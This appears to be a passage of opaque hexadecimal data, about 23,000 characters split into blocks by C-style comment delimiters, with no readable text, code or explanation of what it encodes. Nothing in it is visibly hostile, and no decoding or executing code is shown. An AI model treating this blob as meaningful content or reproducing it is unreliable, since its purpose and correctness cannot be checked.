e8c506de1ec7cba0339fd305dad5e96e97f02f7c3d8cdef5f6950d34347e7e6e44e0a150f4cd65ca06c51e7b1ea17b3177bc6e6651506c0cf039c801b486d3f04c427826278d0021aa12ed7076267c7c1e36083a83b7a985f91cf9ccdfd963db8f6d1d745ceccea02bffe0055e715ab6934df2f03d5804b7a30a6e7acd0eac2e453fca8bfd751e66f8904cd2aba1669cb231e283738e0bd04416574b0506328fcfedbf9679162514561a77a4a5095e0ff1463f9869b7e9e25b62e37140b6c73c6ee15d84b8b80e6cac42a22de70d26d3065443f3ccbdab3180743500ce711b40bc10e99d00efc0387fb48b635ef5a23d3a5c3ef3822fea42a468396eb7b83459f413f182a507782c9887ef5b6aa7761f810d9c3f433f9d8a047f749d70fed5292873eac2725620931ff7e7246cffb57a443da2c571bdecc54291cac8201af57011df4466a48ceddf12c48b3ca3013ee66f0bd477f87a4708b49fbeecd179cdb5c4f5d2d2ae9226f8e959eb70019ec3e0ff3ffccc6cee67e5660ede2843c4b302c20183865c4ac88beb0a8426484c06f88212ae08a3325adecd619c7bbc1a0b48975090f3ddbe3eaddb1fff73dd6080a121babcb4da20ee9f892364cbb91131f6a1c651e1d8a8b47b5bed7a38cf625b08e522b6da63b08754929a928ca0b3d8fade4c4ac3c506629ca69ece6f032f65f1ce8c9bc49b3a7aeabcc2d13906b3742bcba9a638af80fe05fae3269a14d229c61bd63b5632dd09117731ebfe6af54004fe11eb866e5dd8c8943049e169bbbf2346909932364091c0f999a1133fd9bf66f7725ff5acf5e1ea8a2946d0b0e53afc431c2cd26a7fa5fcfc6156a8e74b3b59cc5f5810023a034a809ec13ddaa58428a1386d8794b47837b69ccb38e48be886ee84387f9684979850e307beccee5d163633e604ac9935a1f430f15483a6052918203ca1ae420de7d23eb9d69fbfa657c3cc382f44805a548d4b10ed501591558cc93da39353a249dbfa88c40cf54570559ed75046c7847b81251f2a10f049b5dd1168784fc5845e0306d0305318b7fb12bdd32ac40434abc6778d7c8bfd26a53528adac3413b1ed7ab9c231b66d3291a7f3696a9fdce676145d40fd7305d045a0e04765ea12cbf431ae73b51fc51d8134cbcf443cebbfe3e2a086ee790f5175b709d8b005c25e882953140f85cd8b84d5d48d639e0ecf403852251dac022f92ef3131d3992e5ed49cd0e1804675708c365edbd184932e46be8595e6c1627fbf0d874384d4fd31e784b0421ef308edfea7907b1cf546ce9de3b52d3526e5bd7f902bd32a33f15452be5cd57d3107a03da24cb1f5fa376f00003d1b85d6eb3ff34adef2d4b5a62f8ebc2a505bf0518c786c475ee2cb32700e48cc5b68*/
/*c328ebc59f22cc565a3d6b0ddd0ac82d3c92cb6853c13740a6e85b1b89142b2520f2104e832373139af792a53482f6db9ca7d1d5ef4c6bd62ed86296b2c48092ba8a534f102c5ac3687826c0f6f842ba7d0e2b8907531827fb830f4a3b14ce4eca3388a39ce02238ecf75f0b1a8a1a568fda223489d09e21676cbe98a3673e78be220d73537f13dedbed9e3a6f78f3a80fd627761d93d4404d4146fb1b76ae13cdeb8c7992d43b5af6d5fc8e5b5cafed28ffd496762b2c94d880b9e05ca63ef488f2226ffb44f19341573c48d178124ca31a47cd3c67fec1b595fde4fa8777055150bfbc5006069b0e7f6e0549292f5b921e1e49bc24db97776f1fb98f779b6e092313ae4c53b7ab1a75f6e7293527eb78528513c0a20c8d511e76f5db8802c8cbb055ca8d5c74b686756be5c554819773bd64f1447549450e440bb3240d23c315dc65820f2cfbd4fe0f5eebc7cce48ee3afc76bdd710559c4009288dd14c970632009cf26132be35c2a17c266cc084d979abf15a9f37e975d8b66c752d64c14feaf31393c9414f4c807c8b64b5a91c0643fb783e2e9d80fb2802169d2f69e2920e66ee3c68da0e73265218c6f33aa6449c363de6f482202e70bd66087a74540cf3b93adb9a71f7a538f57df60e8021e33b2076753177b4d64dc158f478bf13967e587c09530a7405c2ea9fc98505b69282e110e354036cac3a1db021aed9566236049864f3a610e457c59492c6d1885d0b6da4e6ee138a8ec5e2195d0953c9ce6ba32ab283256fa4498dc59881016b8e7a8577ccf81ad9b683bf609f9b88d094d1f15fd83faec7b0f69ea581fb923a1d5cd531a9a85fdaf18baa07f8a1e01f39291037099699c1d82fd96f970f50866e4153d4f2ae89331dc211d486b056542f0b722a0316c821b3f0917928ea4ad5ef44bdaa09b438514d47ec0e44a793b351dcb29b5900ceb0464eab336043c71d1b95908893ef4d89d8b334acd619e70fe5ea36e0d321cfeca081c398e96d3a34df54b3e8099c942ba0043c6f68e46d46779d02b02c4d3c7b009d9525a7e38db00107ec4954b6ca8cd521abd5ed7cb4a92650cb5554f00bbb2f3c87909b4205d9813497b66dfa361964bb80fdb766e9ea9fa774c3a93c057a2f2e3078686194de40faf8cd1b703f8374ed033051325c55a426d28cc347a50ee195dc18ccf88eb8420ff78535b9faf0497940143ab50f34c1549ded3374941f75ce06d8f5f99813b4d8da084c547a655e93604a8e9538a297cd1357e42dd33928e10e6bdd47a6f9d8386801806ca2c22f152a0bcf11b09de30f01187e9e8333029bc90ae6e65ebba9669f1d1b163a9de24a74c1a43e1904475f4a5f994d052d0a93ed100a2227a6e10432eeb3bbddfdb3734c626a0fd03f43932877500f48a0407f569602a73694e59bf47104952c04a9eb8e5b09cd7f70cee2bdcac6920cd349266170c713aa924ed5295d3bfa698f98c221f8615a5124f4d31a884324c90bb185a6b1bfc289e91d785bbd2657fbfeb2830e9ffe9603806714380ce1c4623ed28c614174cc43e3a634d56052b82cd8444191fcdec87fe210b762a2b34794b38c5d52f99d5b9259fe513a4b8a3a28d51dff02f43a0f5e8b6f84d29fc5751273e2e4b37e168c8a1a7c0e3d86067d484dc22b66ad6c434ff29cd4dc8799bb5ff642a902cbaadf333424a95490eeb34809f18a903eea0339cdb1de013edd3c3ed92d349be4b62921d1f0cb7dcadd800367e341fada635c933c8ebe1225cfbc05c77c53b334d3041566e4a725e7368781f674a6692a0641c84701b6f5c8adbf6d79a557e40919e6b94a3934f842f16bdb7d309c414246cf81ebed8fff609ce7a594d9918b5910ccc51749fe74f32a52a6322e468e3ce84e5a6a9e7f6227a34d568dad019178a9ec93c64f6dbfa0ee3c87eb29426c1591573f354f080caf843d8bff917e472f93c00492eb44d71b6a8dcdf6f3316d8a86f9f7b249adc8a1aa75016d9158431168598110e8950e0acce3794a23fcf84c217a6dc42b7c716e11fd93ebde6af83722b5d70663720c0a2126be17bca0f21cfddc20056e1abec3432975ffb302f74926cf52552f31997cd61bca4fbdc01cad1f91d08fbe540ea8285c3a10a146e58a1fcc8aa995bf53163a092f1a9a322777f2959da00a095bbcdc4150e485604684260423c415289d1c69338de557d844eff66578a52918036f4b831da3122eae7b8d1e658d0f73b925cf114f8f1f7dca2b2483414c490a703579694c2af74c0d19042cf2b3178ffb458bce44543de8f7b229e75c3dcebf1cc27efbfa8312b0cf8cbe833a8269fbfe23ecd6775392842b1fed32d23073b9535ce42c4b355a866c1bf7de258b1eb1f119c71f561a9cd80f920bc5e675116477878cd708b6a296a5afa51c397a359ae4d0f7fdab3d6e7e5d29b0b02378a59bc71cdf86d9efa632dacf0f0c59ed393ad699aad022589d05d5f5880173b751ef8628912400bff78d8753cc4117c295250e7aae4c2b3b18f574450a6e639b1c2d7680e38a1e1ca768e36b3d94b517cf325bc192bdb1acf948393bd9aced9cd4adf0610c781c7e5e37a8ff8dc5d7a1654d6a5eda274bc326584f789367c2a0fbced85b3d0de411080967e1dcf24d6531fcd124989c7999896b7e23ad3e44641c17d36a48c85156b80d5866e59fdd355908e3cd1117e8b4ed4eb4b6aaef88b829e0c3116c49d49ac56726863489d490dc732bdb8e29a010beeeb0462574ccce2d17d49a0333bc14129f4ed223d0b5439c785a41c365238a3c0b7bed4daee94a869bf0bb064650aca0c4d66fbe428b6d8*/
/*e0954f72f08bd6468523c1cbc59efb15ba152710c41436969b0ead7d04fc74f61138b91dcfcdeda52b26748a9982f756c380573cc64f5cb3ee2f7bd6f906bb172145d0939b7ff3f404936d7f3d1f6d9129b2a23691deb6e3361f67cd8dfa509a800b4ef27fea4a57f244dea95755f7713ff7be1834cec12718e850d3a59fc3a404fe6a9f1b7b57eefd45e11b951a048f75f706fdd74b912237b65d9112ced1eeb744ca79f501be8ed8b2028cc526ad32c55a309a5cf8a56668b9559d378513831b02fe243364280ff1651922425cb8fd54d9f90ef4e3b25a186bdf7b5a9a924ee18e3eb5509515649585623c3e2cc8ecd901333e1af4a2c45e82e595b8f17ced34851590fc3ee38102a9259688825a4fe20b5f0c43978ee2f029846367e30205e76b97d89fc31ba134d90f36aa0ab4f48a4a651b9eed6c1bb23d8771da1dde986422d43dbd52c0438149178fe0686b2ab73a3bd79a301dc2a1f2f6741536eef4ba9ee64f220d7ad775fe1f3705d4fcd3b6a794bac6cecc4c54d192336b5d62c46e078642becb1f692a0fa1893f9bc6d355d0e344118cb8db1738ad24a750c6d7fe48eb44e9415d3ca0057bf642f6fb58dd32f4902d658cc0126a5a4774178428ffc8fc7e89bb0a84d8f42c1aa8b2521f60fc344e96d954f220e7d9bc9c743a52bfb37afd826c6815a66bf572c85aedc008052e0ea6a5594e49ab6d5b21ebd6ceb5d1efb387f25590a9daa2900d9f77581d13d5fbcc5ce2ec0b5f2317aba200caf0b6bc81e5b54b4cf6bf702f1a53f27f28f3fd861ee1012efd8e1186a5330bc84c271f1a3f7d6a7e955f5250ac662410f6e7c297e7489ee6380eb8ae1e83c5439f4787fb724ccdf52c7945c1ee25754baa5186ce6b3dab1c01b072432c111745d490723abe8994d2f573be14b6c4a7452cc23afadf65094fd2d9cd96e6439e763c550f25066d46f2aa05c0bb121e19bde6ae7df233ba91d213c7c026141c9e2953eb3618b97d4005a75d53f782875d0fc596d98f2f93f3a5c6427dc1ea3d8816fcc8250e266a450704d7cf8170c7cb9d745dcaf13b53c0597bf39eb3a36c165de2d99dbc8f4cf4266c56da08f7a0f987c07c0e96932d116cb5724afe4b7185e51cb2609a801b66fb32408fe730df856c8acfd45e7f263b546fb930d78224af63070527e3cea807ac3a9776ded89eb389b0808fda3d9856045e4152f04c9abfdb27676c417c2f34c290faeb218e65a6ea06e43fde9135391662bebb7c2d968c0e5d126d4b3f1af19a4674c52f561b6aabbf162efd22f5f9f2dfe9a73f08e2009adcfeafeff225e20ee3637df00136fe8b7051b820b0253420ee04579096797b0b39581b2ab9ccc878e560b8fe0f13933ab7e8bc0696526d2013610e14d1f88e2ed9c6f955fda6dac42f512721205df53478b2a769148204228473cb56d9e8f6f65f5c34719ce4f0a5b22f98df78120ce0171c7ba91b274b6c8dc52b6d030854139b4312fb13a2ce60c721d72cc7b111b86a32afcc33388c77e0974ab516a9c1c7793893879642544cbfaaec5f15092583cea9e711cdcec370e2940c055c07c000c4e6e7fe8faf1bff43744b32eba02f11affed66c19abff67127e23862d58845ec48ebaca2b47ed570013e09fdfd15f70b62aba9e5b34c351e58d3d88920d2b4b649f7591ac1558c76a2b1c1868e7d0b77d2a6546bbd82e91f0310ba34b42c1df9004299b4859975b8d49dc6c173f211cb7b906f91b5c3c050322cae9876b71ffc8b86e76c1385728899fe5ce2cc60e58f23c4d50727919d41dd3ad14597b459c00ec7e3504feacad3eae5ec90f42af167ef7b78610b5cd2645bd0a1418fea1fc4d18557543c73f68cdb1ef3adfbbbf02f3cd5d55c756d2d37169e3ff76225dfa0b9aa998b5aaf0ba787a9091b45f0b40fc0d21385efc75e7ae1b8c310ab9c4aea49fac5a7fbe7c14dfb35cde4e33616e3d3288df6b65642c765fdef19c7912a0267cb473a3f2680bae49205065517ef0c5011ef535373443b3b8129d94ac9670a791ae2ee01dd2dd633acf4164fb313721ee2227806d0cfdd9bd3f2c375ea252a8af22d3baac34093d20cee22cc3d473f6de7bc68a3df17f95009e966c0ed39e44a634778e625fa3caf1b42161d6989a718dbce73f475fe7e2bd86f424df136695e329c2992f0f802c84ffe03d166e4eca540f5406144d6593ae0eb11e4173e8910079a6a14e9a97becf64f0a316091cdf114e385cc3f25cb0a2d51204b407af70fe7750b0ec0d57206b234d6ea0b1bf2af9a204c0a42a1d7e9a5d796a2004864477a744f561f541d3db4a18098b2e26477bbd0558b03bcd2404742f33485b6ac0daeb0e6faa0714becf416ad526bbbbe91df779a8d951828a322e3cedbb0b96f59903463e6e1d31eb65502882a5406c1086f0ce06ffb04df819c39e5d0edbe00d1222bd6dd155f74ce53b6ee4a228b499097d0d5b2aa506548ef0b4d10c353afd148408f37b4536fcc1976d5d6301b2d435a818c6390df6aa0d36359bce384616254e179a72fbf749fe03d6deb535fc96b3f0d12958572e2dbdb4a063d77c6022ee4338f695861464853b19cc961afde522e6f68c051be930b497ead73cb4397f54b33e2720792b1e5630f77dd564d8144e291e8099e4161fb80eadb9bebe931736afa285e2d57783fc8ebec33891ff0db1dc5d6907a47ea9c1b5d4f5049451ac3de0c1d2f90e8e9b5e379e6547790962300530c9dd5cc487f81b6d2817693985cafb8bdd2d0d1d8fc867eb10ef4b91134a91dbeca8fd717e862f9673db468420ff7cb1360529f4f14653fda7dad599*/
/*8ba18adf13ebdadad32c9e43f917fedb2084a1996e0afce95c65da86d494276954d753a2e8fff65805ad93ffa21965c252124112e82f32229976e1264c49142de89350bc2b62c37a695eb6eaddfa9118ae0a04da0f86256a3a3b91cc5c3f24e29902726e6a1b308ce567afaf69fceb790c03378f325a5d0f091aaa37c4bec8b0626225d70774f72310d0ddb558c901ef2926e34abc6545c2122d25e56cfbfac0422716030b59da2a2d4e8b6d1e1d369844eaf864d6fb4de356a05908ca453ed67351704c3e17cea898629be4cc3635a95102f55ecad67f671b38048f9248233fb06654caa1835def5ee9b2a6767f52d61849447be9a92887b9bdfad9b6a2347b6acb7c2fca5a452f4070fa31ab2dcc28f341f6bfde93637fc011ebf0ed2d63e45530365ae7c5880acb09475e1a4d145290555ddfbab4b6da77252e3b0d7c2e72a6beb340579e38075636c24ad30f6a76a1a31834b380ca69cd2d2177e724eb0b52b02344621149951cd1f01fdcdbafeae849481e8bbabc1fb8d6113685d827eadeb0fa79773e3a022ea8318a0cefe5a9e24f41b05e3c18b5329112aa13731bd31a962bd3d57b5a7deac9bba84e319381b24a37cb33b21630c4fe4237a371626dce8ad277a17b347d31d4ec36532f23f061b0c01c478be2041cf71f85a36f75a7a483bfb86948d0e94f62a16aa27a71ab5e19ebc58e63e3588a92c0cfe5c78462b55d9a8b57db1e813ad5c43647e7683692a830a6b1a67c3d737d300d5cea936ccf19ebb956012481523f018a3f41ca3b402bab81b0668c0a2baa1dde2b323e9ee755484d3ad521394a5e278e0efd4d1c25299eebf4f92936d772917ddb4e562ec01698da815ee52a55669e6701992317d7cffed213d725b39d56b6f12e67430e1eb689bccfb5b0e9bb1743b06e1d817f8559bf369c92c41c12195252c4e2ac111af4f505ff8d163d4a67f3cfaf0fddce6c24762ef246497ec01f39381caba08e04bbaa9c97a56687846ce20be78db0700d82e1db1c480a59b5d09c1383d48c2ec8061fa2abae70137e78168ea1fb4ebddc795fa686b911eeb259e729d97e9ec67c5f4d1fbdb3d9a97f64c8c1347585f1421652fc79c39c7d9e8871e66c8e0c87c749d9a415d32eee23248e2d7de49e0bcc243af8b49d81b53d00789bc93f5f3b8ac8c604d117346240c0e6e2f25dbb90da4227c27084ccbb2f71734a989fccf7b29b956f6fced4089bf5c271ed792da4b5b07827ba53fef924498a0cdb1c7a0f14a6cd43ea82e1dad418ef3bd7aa3b29e723e551c65089f0eb9c26db3572c66b9f4b8adf8344c48357bcf4e9c0d02dfad01478ed38ddc9fdbcc44393018fb445bd4b585ead32c614e711f1aa898708150451d76911e1c5dffb6a1b90ef4959cbc815fe63a642749efdfb5d944e614b4e943a0fcc300c98d2abc2d5645544a5f212dd0a62b9d05411d709264e703fb38f26fd2e725160da6ad976026a7feeeec1ed05db4068e6c45bd7d7a1bbb48d85fafc6f4c584d042cb4a2f0a97749777c2be30c00f0fa453a7000ed263bdc4d06b61067e1f6def1ebc227370a0225794af7dd5b589372f981778d99e2b35d3b6ec91385da4db1064cf891a4c07077cbfb25ad86b0ec39e1534d2877e34e528c0dfe6ec8845afbdd6986c985973e690eedc7daaf202b6f99e5f8d86fd83c608ba0eddee1c02ec0eb5042be01929dbd225ca5ef2bd8e8ee1effaaed0a9b89e38350a84782f56da4576f7b33597ff6dad6d469f98454fafcd95fc2da8991838bb05eb059256c45e9cf1fffc9890554ec7e3aded96301793f9515acc878e7b169b52b7690d508b0cecb58475460406650c5aaebe908617cc47cbb612c288bf867257e42caa3b18dcd641b592faf12661e077aabc3a84b71d494db7c38ab18e6ecffe41d838a73d3eddcf43ae4ed4501cfd95366532dabcc85792b9855c751c78f459116d450efa2048159c67892d1dbfa1b0656d8b61c497ec8ebbdaee4b176e70aa65f8c08e069927abb30766805658fb8f4195bde6daa41201a282acf565489f43d3a2053e57ef65c6fa1635b914e64f4bddfa95c01634a7982cdce9dc00d076ed654cc27efe74075eca1523655400a23cbdfb1398c5b6006394ec70ac3bb4b25264a6a306f11d8113d36112b30d16778593e9b6ed666c9f9c63c3a7a66bfc0834702a8e6a91deaa0f83bc14b47e468930d364141fcec7bc11fd1703cbc276d76dd57a589e78838d4b04758f9f4e5aeb86202323faae6f77628125c5369dbb96fada867cd191e5f4c272db2f6405f74743a262911f4757e83f7c1b246b6a6b3cc7b4a065ecdbbd5846543e5dd632d0f27fdd1ff31bd14b281389942ae70248adb4fc7c3f1d1d33c9d3918f0117b56588f3b583728b685c1247e210a162cd312c326ec643c2e24af4ad96e6d753a44070d773b5a70b89c798ac9af028d172d50d283227a8a63dc88b184c062737b4e8d47a9d525e324ea2d1c1a86e2ffd40c578253bc1ff014eb43bc4a17689053b215b3bdeb8533015563e63b1190db8040cbc79424b1be1bdfe3e36079a1764eed9868af9283a73cd71128b472f63354861d31e0ed6969299556f6c9e01a9dbd0835a11e50fd41b480fb14c61b62644267a760b11cb68de2590d1e0cda38f2340e323623c7b071b50115c459331fd0a6bce49a77aa4a20f62ccc19d6ddaf713db8142edb2415e2391ae7c6c6713be78c78ea1c49154dfcda741944b69e673febfc170c32fd593142bf1336ed3fc95c341a40439f4ad74e57fcf6b528d981b406c6dee66e17659898595fd8a58bf2254e7020ae2d5e*/
/*932c0eda3b5eebb1e95603bf2ce798c2a82bbd4cfc5fb2aff4d5ab0185aa208f196cbce78695db26b6b60d810c01fc7d1bc74523a0a84c09c90ccf6fb24ef13a03400d878b9abeae60bf6adac29a65cf57b6934634827be257ca25319d115894a8970d4569f4e949177ea811c64819fa34881f64ad2981a8fd64ae9809282676c83895e49b0289972cd294bfb1105078bbfec2293ce43f3a64934deb4f31010a0acea7108b6bb78536be2bba3fe28dba7c71c398daf314530aa904bcfc61efbb8fd08f33f968ef4e2e18b3bfdf14f6a3471f3c6ecb3e7be10b6902c936646f443736c8a511bf3231349198b5777b699333f7e5642d237853b72cb22f99443a14f37a219275937d4104ba03903486f738cbb6c5a2cccfdc21a04ebfa7a2845b22f6a3e0659240d3b3227b59b460d4613cc11419aa6c9a22c276f79138a24ea33a77ddece4f78ee13f6d008a67b8a7e9f96db52cddd2d6ba0bdb72ad8602be42d159cb1849c7bb15b9f7fd05738a75d0642874ada7f557f307f3c2dac1cbf3bb8fcf376a2ba0960eb87a9bc2efd857bde99843e803646c700ac0d7c09cec1d3b222b7548bfc5cb4c09c61e3553065f021f5ca799260f8a40c6b84aed9b877b06d9c624f1b5bd47bfdbdcd5e0449473594954d13b044a83ac832814f283f933f55d8e0c748839b8ece511e46929ffa58ab736e56053984b626be9adb51f95cbcf20ccd6848f6faf171f097851dd36501c059d25e2a5164b68aa328a7fc9a320d7b77ee31fd05a7c6f9a187dddc5542f094d7c541685f5ca943ec7b99c495022392f3af645a2f5896710b906f401ff0c54d2bc93e7b43cd5720a9c09e3f5bb63ce7861c5ef378bb6f1f4fe023062088a90035b4ecc9d5a1427a30f8761fe2bcdb1190c05159d6939330b22138a46be8cfd49b74b25ddff4f0834e152b022250413010a079a27ef2e2ed49564865bef68d0f37d9b1c7b954d80d65c93a8904b4bb0707e067deb453d11091ade0f58813a0610ec284f1d3d0b20d874f9dd750af667c1116d73a6840d1789f2740f77b5febf8019bd5e4a819789a4b9b4c6813e1825362649e63c477c5806761cb4b9cef843108f38842bd692caa117b77f12b15577af00168e2d5272133d409151c5d4bae9965cb592a37d4ace44b2d0120e867a92e3f8ace873fc28f72457a9e06b1900807c3aea89fe8ab250fc0ab8466aba7775071d10cc6c0e04b6ed1824d7dce816e5ab80b86ae5d2c1e965bd2fa02b062005391f92d2f99a8d51741cacd3d2abbcdfded6ee3649b92c108a5d4a0ae0db30da5c22c8697795ae408e27136ef17e52b627be9d5b862ffb8d0e3cd80796cacce2d7cdcc6f0a63dc43080f8de856bdcec4791793977bb0d403951314193f3d01ffffc604169633d9b51897d091d54e5248fcabb27f27576e4639871ac199eb20e59411e24811c5ecc5dacb7eaec44682efeffbc5b58c3fbe029947dd2226362a1b23e352af1afb583524da3d5f45d5d8218aea8f61564eff176a4be554431d78103a1d966ac8011e4f58cd3b4e72e9c595c37ffbdecfa218c8d8d06c10730c2c863d053f76d0d66a229e6e80b7d0031396d2281e20689ae87545636f2b67771936065152a65c99f889c49fa0097a02a3972e6e114eeb269b2405a3b583a67a3d944084f8f85c7ed1978ed4823a222164d9cf0ff9310462041f6dc99d1f3ec17639a4377bd46f6d4b91ccf54936b7549512f5458723a571ef2fae8b6a7379447c3d58fa0af7a5284436ca02d548800ea41a8ab360dacefc681d8eb5599100b5191851d2df1d517675ba4b9351781a0d948c877121cc7de24178636eaeb32355056d484e8b08c7e7d2397465129580b973abf9ff754d575b17090b10a0508ed15466b7052171e17afcc98798896b24a90763f0ced4eea0637935949c5080c655a84008841d9fe1dc5e5ab25894c60e2c0ddacc8984538a8f301a3754cc70851ee206e8eec7454f28d4cb701d4a8c23715bdc57558b9e035cfd2b56946df9c8969521df64b8b666fb29664c3065a3ac6dd3a28b3515bd38e8abf71eaaafe25988a4d2c2ee5cbca83f0e944d2421ecd0501127737c1a2f3cd5c60afdd44b7b2eb9d9e55b444d078a83bb203cb118da51c8cccd725c6fa4d3b2a9e5c95c84ba21687fdacddccbc186f6a1fbd07c9ebf34bf99517829072bd5a07528c9030bf8d807e262e9b03f25adf229341f0980d92e77abf8b1a04e9347ed42de98c91f7f2292de73a5280e04f92e262fdbd966f7460b235b769e4e751583851d64796aa2b07a2bd4ab514462aec2211334219e2e4256088abef0cabab47c6a0882aa1412295bcd822b59cfdea9d0587433dcb175a5779e54f0308adba53e72ee1ed4b7df05169c86531411be433a6328d1c637a18aba65b931bd99847603ba4354f41b45ae3a817c6246fec4eb55a5c3d65dbda8d605d12673aa3ec8d6f5feb10d8b89331afa41cdd4690bdaa6afa961c2cf57b058d491583e7907fb9d34f6f2e039874034a3c30f3a4180875277ed278f0beb88fa7018fae000d9cb4d244f9b6d50b194aee419d1da92aa6834ea0ea67748c950f2a9ce863d9f818fe5c0a2e7549d90d1f097f2c073e249a4c0593bed1a1862ea96f350679e10429e4e17a74c3471a9f015754b74fca264ab14f6e3ed9b6d690290192973ccfd6094daecb9fe58d7f96eea314b512ea5e75dae6d9738ada53ffd47cf3ef4dd48520359516637dd6f7a6c7b9aebef5155fb3cb20ba42b476abe93d386a301e282a64fc51f0a2563a532775a99747b70e3c9d5157c5730ca21d96cfdcbf98ed4*/
/*caabd4a6bff69560152d4e1a1f7ffeb484f0d27bae3588623a4e1ae518a67f0e82698b1605abc2a033acfc8051ee82797c9dc35469bcf442f6ababb2c856bf71afd5555a5e4d4231684ebc164ee23f6786c6268f8caebf21e8a76fe15d38d4d93b417f3fff9d265b854cfdc91022cb100e28d9d274a77f2e66de18684a88568148e5b9abcd513ae5637ee9fc52286a8661e1f62fa95600c51daefeb77643cb56f8973bd8848be18ae9013f8bdb6267a4ffb490732ca10648ac28dcbd526d08b833ff6de201b9880f53327929800062094180ab7a118129378c6b9445214d8d2e54f577baf97276a59ae8048e616e997a7dc2c94c387dbb49e73b0adca27cdee61927e5fd3d1739af194021cbac056e97feec6ec90e4bb485092326367007280487a2142bb0f11281d9f5a30361de2452d25d75c7982fe6f11d3224c73fb43176721aa673ca5d00223ecd0ee65454fd948f77e5cc7ba74e23df410f2c2817499c34339fda658d9639e389c903f30d7d5f98d98a5181bc0393a445e2dcea46a2f02da90d6b48fa9443315a8db26fb13e159e76e31edccaef9ec6de01544ad21ad03b177743158dce4544a2130c3beb878859560673b58915176cc6a0c43e9f9fc3ceaa10c0ac3f1093330d26ba7687bd1e24089fb380257878bb4586eedabdf7f7a6a48361a8d4fbe74573b4d62aa1b66834f747ff772e2b0dc5bc991f498e0c80b46211988cab021e3c9770d36aa9072ee940463743f8ca58117e41003c9d0f3204feb7a848f0e7adb092a3032e29b40686290a82e3287e69e04ea48526a6fe2014ca0d103e0a2cd22a3119f24b9cea47fb716e1d43c6cb6a37f427584b0698df67abf51f8c3f2172d4969457f92e419b5e9d68632e2ee08b21fd727736e431f27a0a3daf1258ac679dc2326733e15173b5f2b9c74b8e0e451275cc055dd4a88461549d94e3566a6f812b5c5db376a5fc518db8cc11e8eae66bfb3c4b4339d6b34606ee08ebbf226eeaf3a7c3fb6979f84d3d00e0474b60140981bcb31ecb44beb3d1ca5b994cb0b2f1eedf7202328bfec031d38363f9a464100c7d6b6d7d8f6cf07c52eac3f3e5ee6e1a3cb9c76ee16b7965ac8c3794a29a122bf9678f8bc4bb14e002e16945c2c3423b52f3c2ee05946cfff944328e01fe3e4190d6ea9e04f22d9fc6a81a1eaabc0941430f5f08c224b8bb54a02508ae5bff04caad48ffbd8ea8c8086c0b9b2e28b79ed4103ce35e6d1deca7017fe3491b7f18603ce6cb1fd74181e5f72c4e65fd43decdb1498a968bd84c690aa11669cb2e7365751237c4c569dd1643ad42d90090108c919c461b7b321e5c7946240f7ba442871a690bc2ac0a7c4c1b7063293778646762faea56cb0b751cf369aae27fa3e28e50d75baf67726762b5985803f05f6407477a481a4873b97cec1ee9796f21e89db6f754b71b86309f3c06f72874d7066689c18135ec48c9e4eab2ad43a2cf6fa274718a8759bd9534aa30b19da5f4b0272bcf93432364958f7a64a775f08b64502b80756717a86283c2fd5b7df702e01d2f5ea1004f45cc728a5a07341a78883f2d9eb18536c366346076601de9921b70e4dc304b779a27969968adec12241dc5a0859fd9f5425e6c0e4855a0ad47fe81cf2d3e057ac033b2e00ad01767d2eb17ced6145e4c326041716a67df96061f43f2df215a281576f37c89db574ef40bcf45db10adf133f3b1b8c60a9f7a89ca5a20002e7bdc3702986c390e6fc8d763c0e2fb54fdd3c5c94a5a255b85c5d70c532bae02fc641d22917a4b69ae3a286b103f255eda901956f92f97783f506a831d7cbdcba71b90c6bef796e247bab2cdaa75d4b0308b2bdde2f4e4fbe949f4a5fdcbb429e520a9c6ecf65a9eea7a10491c79ace6fcdaae6773d5a8aa7aafd7d60031113222fcf72bd268f1f08df0bc81193fb988304ff85c5ca272627e82d2d0a91a9fbb2b4636e3db1c7e7e10e91d2d97b1f9e955b2e39ed3f61f820b9d59b45f8db02b7ffbaaac9929df1d7d008009ba29490b22e3ad116fa52dcd7e1cf133035d462aa7c576ccfb5a009b29c84eb07d400e5bc819903cbee337483d09d1bb01db350b65df0496226de08600e9a3e7c75dc7bb6f3bb266fc92b0c8dde94c8eb041f52c453763a324fc6b99829aa3f915d36df9dbb5e6ffb16c5992ec628ffb1136c996f2b8fc18b8bfd17c326e19b596701c0086cde54e7cc756208674480182852206d94a4768a246333fd1ca04826c77ca5e9acae9d565ceb51fe26c6a1816230958bfc858e376cf0e30119e131e68439a6dbc37ba8f8d0e2c37c88323a55122bd969e3b940bf509003a2f6b0e3859462630ad829e34d7fb0406e2232798f570986f58a7b07c96ec52c4f1cf209f11f0ffa1eec2f9c9d9e3f6c00076b5fd7ad5767996349ce9f2acec6dfc48e9eca9e022e642ecc51e8e4436c2fb30d8feb1a299c1f9c3b1f38ad4f2f4667d753eadd98aee1e12123fbe3175447d44460a5de2e5856613e2dc44fab8b2d849cb661d965b30d032fd86aac8aa2b2040f052b9c7083b791f6b5b38b5295a2b52f18f21743b7471382377c84b3e9b13f077aa1c9a26d721e017edc1a9e439a4560cbc8b2f9e868349606c8f3fad2f9ae3c4239325a2a02e6daf8837f9404e9183340b5ecc4331701e3fb62c77e7fe66b52f8b315019af73d357f90c9df38729c4c401ed41eda9576d80bc0ad74e765a0498e76e8d86b1a81fe9c68cbeb392699de807301c912465f75c770e60955b5686b6b86a03982ea11d19245d53505b043245bb720474673b58ad5d4efea2618ca5478473f5e5e3b007*/
/*dad198ef444aec26058edf697ddfa084559ae8541f3eff63ee74cd0aa72308311f3d33362654f1cae3bf2eb4e9a83aab82e291a2308c0e97e3070b8a48a333be53d1137c8ba80f720538cef7eb8061a8b2ab9dda23171d24b718ad632a81fb0a1accd41d9d168c64a039b0830d2eea069e511d9702bfb0462e085fbdb94e4ed4a698d5c03feaa81e14e766f3cfb2ffed021ecdb10f7e2ec8049035a8f7f44986b47777902bd673b6e27a6c67d7939811af0d45d189ad3931ceb2697d6be6fd232564ae1c8384dd896be55c5e5882c4a21305d022f9b2fa63cbf2d7ae4f08b5d019d27ba470712ba07f9c148011e6726611888d5784602018b3f7a643b105c44493ebfd30c3bdddaf4ddc154a34cc6b82ac1db27c9bc105f394d66e58daf0e4062b3831d1b16bd0490aded9259fc4e200e6752a10bd7924c169f114909aacc1d064af58c726e15853e8e215e2772eccb1b17abd37bdda9505ee0d056396f2943a97a65bde93925665d5fc4f8992687ff3ff29ed2a322e92648741d2017ece2b28f77a5be2def881bda48faf70fa330c7f64efe8eca47d751f274ed59d848c98da17310ba551df65d5ddc6d0eeaf4157bc82149d2e891f33f5d347e45f087161c8af2e67f95b711b47bf043ac6fe1c6a878c1dc7939b20d7c1525834dfab233cf1a177b26054cddc4bdb8076e73666fef027c6d27483da65222aedc